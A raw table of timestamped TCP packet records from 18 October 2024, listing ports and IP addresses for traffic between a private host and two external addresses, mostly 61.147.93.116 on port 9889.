Oct 18, 2024 23:46:20.001770020 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.001770020 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.001948118 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.025440931 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.025527000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.025623083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.025638103 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.025652885 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.025670052 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.025682926 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.025682926 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.025682926 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.025711060 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.025711060 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.025749922 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.055717945 CEST	49705	300	192.168.2.5	45.124.79.208
Oct 18, 2024 23:46:20.060585022 CEST	300	49705	45.124.79.208	192.168.2.5
Oct 18, 2024 23:46:20.064074039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.064097881 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.064114094 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.064146042 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.064167023 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.064182043 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.064198017 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.064227104 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.064254999 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.064265966 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.064271927 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.064291000 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.064299107 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.064342976 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.064342976 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.076282024 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076311111 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076323032 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076333046 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076345921 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076364040 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076375008 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076387882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076401949 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076402903 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.076402903 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.076402903 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.076410055 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076442003 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076442003 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.076453924 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076467037 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076477051 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076491117 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.076491117 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.076533079 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.076678991 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076745987 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.076759100 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.076884985 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.084084988 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.084117889 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.084135056 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.084146023 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.084157944 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.084168911 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.084184885 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.084206104 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.084208012 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.084220886 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.084232092 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.084242105 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.084253073 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.084263086 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.084268093 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.084268093 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.084305048 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.085915089 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.085939884 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.085952044 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.085963011 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.085973978 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.085989952 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.085989952 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.086064100 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.086692095 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.086703062 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.086837053 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.128562927 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.128628016 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.128633022 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.128669977 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.128720999 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.128726006 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.128726006 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.128758907 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.128810883 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.128813982 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.128813982 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.128860950 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.128879070 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.128894091 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.128904104 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.128930092 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.128954887 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.128962994 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.128993988 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129004955 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129040003 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129045963 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129045963 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129075050 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129096031 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129115105 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129148960 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129173040 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129173040 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129182100 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129215956 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129223108 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129223108 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129251003 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129283905 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129309893 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129309893 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129318953 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129354954 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129369974 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129369974 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129390001 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129406929 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129425049 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129458904 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129462957 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129462957 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129492044 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129527092 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129560947 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129564047 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129564047 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129596949 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129633904 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129671097 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129704952 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129739046 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129772902 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129789114 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129807949 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129817963 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129842997 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129875898 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129890919 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129890919 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129909039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129941940 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.129951000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129951000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.129978895 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.130022049 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.130023003 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.142268896 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.142312050 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.142339945 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.142366886 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.142370939 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.142406940 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.142436981 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.142466068 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.142489910 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.142504930 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.142518044 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.142537117 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.142565966 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.142616987 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.181401968 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.181495905 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.181497097 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.181551933 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.181561947 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.181588888 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.181622982 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.181631088 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.181648016 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.181658983 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.181690931 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.181720972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.181720972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.181742907 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.181746006 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.181792021 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.193609953 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.193703890 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.193725109 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.193759918 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.193803072 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.193803072 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.193825006 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.193862915 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.193897009 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.193907022 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.193907022 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.193933010 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.193960905 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.193967104 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.194004059 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.194019079 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.194019079 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.194073915 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.194248915 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.194282055 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.194310904 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.194327116 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.194375038 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.194401026 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.194427013 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.194437027 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.194469929 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.194473982 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.194495916 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.194545031 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.194551945 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.194581032 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.194613934 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.194631100 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.194631100 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.194647074 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.194680929 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.194696903 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.194696903 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.194725037 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.200984955 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201030970 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201087952 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201100111 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201100111 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201142073 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201143980 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201179981 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201212883 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201214075 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201266050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201267004 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201287985 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201323986 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201356888 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201365948 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201365948 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201392889 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201404095 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201432943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201445103 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201523066 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201541901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201575041 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201594114 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201611042 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201617002 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201644897 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201679945 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201714993 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201726913 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201726913 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201772928 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.201884031 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201936007 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.201970100 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.202001095 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.202006102 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.202016115 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.202043056 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.202084064 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.202084064 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.245640039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.245709896 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.245781898 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.245810032 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.245816946 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.245850086 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.245851994 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.245873928 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.245887995 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.245903969 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.245928049 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.245932102 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.245963097 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.245971918 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.245997906 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246002913 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246032953 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246062994 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246068001 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246085882 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246103048 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246134043 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246144056 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246169090 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246179104 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246197939 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246212006 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246228933 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246246099 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246273041 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246279955 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246314049 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246320009 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246354103 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246359110 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246359110 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246443987 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246453047 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246484041 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246532917 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246542931 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246576071 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246603012 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246625900 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246632099 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246666908 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246692896 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246701002 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246726990 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246735096 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246753931 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246768951 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246789932 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246804953 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.246829033 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.246952057 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.247216940 CEST	9889	49720	61.147.93.116	192.168.2.5
